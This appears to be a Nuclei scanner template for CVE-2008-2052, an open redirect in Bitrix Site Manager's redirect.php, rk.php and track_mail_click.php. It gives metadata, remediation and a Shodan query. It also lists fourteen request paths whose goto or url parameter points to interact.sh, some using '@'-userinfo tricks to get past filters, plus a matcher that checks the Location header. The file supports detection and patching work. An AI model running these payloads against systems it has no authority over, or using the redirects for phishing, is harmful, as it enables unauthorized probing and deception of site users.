Bitrix Site Manager 6.5 - Open Redirect

id: CVE-2008-2052

info:
  name: Bitrix Site Manager 6.5 - Open Redirect
  author: pikpikcu,gtrrnr,liangtovi-debug
  severity: medium
  description: |
    Bitrix Site Manager 6.5 contains an open redirect vulnerability in redirect.php. Remote attackers can redirect users to arbitrary web sites and conduct phishing attacks via a URL in the goto parameter.
  impact: |
    Successful exploitation can redirect users to attacker-controlled sites, enabling phishing and other social engineering attacks.
  remediation: |
    Upgrade Bitrix Site Manager to a fixed version and restrict redirect.php/rk.php targets to trusted destinations.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2008-2052
    - https://packetstormsecurity.com/files/151955/1C-Bitrix-Site-Management-Russia-2.0-Open-Redirection.html
    - https://holisticinfosec.blogspot.com/2008/07/bitrix-open-redirect-vulnerability.html
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/42157
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2008-2052
    epss-score: 0.01568
    epss-percentile: 0.72924
    cwe-id: CWE-601
    cpe: cpe:2.3:a:bitrix24:bitrix_site_manager:6.5:*:*:*:*:*:*:*
  metadata:
    max-request: 14
    vendor: bitrix24
    product: bitrix_site_manager
    shodan-query: "html:\"/bitrix/\""
  tags: cve,cve2008,redirect,bitrix,packetstorm,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}{{paths}}"
    payloads:
      paths:
        - '/bitrix/rk.php?goto=https://interact.sh'
        - '/bitrix/redirect.php?event1=&event2=&event3=&goto=https://interact.sh'
        - '/bitrix/redirect.php?event3=352513&goto=https://interact.sh'
        - '/bitrix/redirect.php?event1=demo_out&event2=sm_demo&event3=pdemo&goto=https://interact.sh'
        - '/bitrix/redirect.php?site_id=s1&event1=select_product_t1&event2=contributions&goto=https://interact.sh'
        - '/bitrix/redirect.php?event1=&event2=&event3=download&goto=https://interact.sh'
        - '/bitrix/rk.php?id=28&site_id=s2&event1=banner&event2=click&event3=3+%2F+%5B28%5D+%5BBANNER_AREA_FOOTER2%5D+%D0%9F%D0%BE%D1%81%D0%B5%D1%82%D0%B8%D1%82%D0%B5+%D0%B2%D0%B2%D0%BE%D0%B4%D0%BD%D1%83%D1%8E+%D0%B1%D0%B5%D1%81%D0%BF%D0%BB%D0%B0%D1%82%D0%BD%D1%83%D1%8E+%D0%BB%D0%B5%D0%BA%D1%86%D0%B8%D1%8E+APTOS&goto=https://interact.sh'
        - '/bitrix/rk.php?id=84&site_id=n1&event1=banner&event2=click&event3=1+%2F+%5B84%5D+%5BMOBILE_HOME%5D+Love+Card&goto=https://interact.sh'
        - '/bitrix/rk.php?id=691&site_id=s3&event1=banner&event2=click&event3=1+%2F+%5B691%5D+%5BNEW_INDEX_BANNERS%5D+Trade-in+football&goto=https://interact.sh'
        - '/bitrix/rk.php?id=129&event1=banner&event2=click&event3=5+%2F+%5B129%5D+%5BGARMIN_AKCII%5D+Garmin+%E1%EE%ED%F3%F1+%ED%EE%E2%EE%F1%F2%FC+%E2+%E0%EA%F6%E8%E8&goto=https://interact.sh'
        - '/bitrix/redirect.php?event1=%D0%A1%D0%BF%D0%B5%D1%86%D0%B8%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5+%D0%B4%D0%BE%D0%BA%D0%BB%D0%B0%D0%B4%D1%8B&event2=&event3=download&goto=https://interact.sh'
        - '/bitrix/redirect.php?event1=%D0%A1%D0%BF%D0%B5%D1%86%D0%B8%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5+%D0%B4%D0%BE%D0%BA%D0%BB%D0%B0%D0%B4%D1%8B&event2=&event3=download&goto=https://interact.sh'
        - '/bitrix/redirect.php?goto=https://{{Hostname}}%252F:[email protected]/'
        - '/bitrix/tools/track_mail_click.php?url=http://site%[email protected]/'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'
        part: header

      - type: status
        condition: or
        status:
          - 302
          - 301
# digest: 4a0a00473045022100905c59e91222a2745ebbb75a1a88c598156e57e123f15d035763d6941e102bb902207b52dd8d6e34b7ea203ea751c8e59bcb542700aa37012b31cf1a324944f105a4:922c64590222798bb761d5b6d8e72950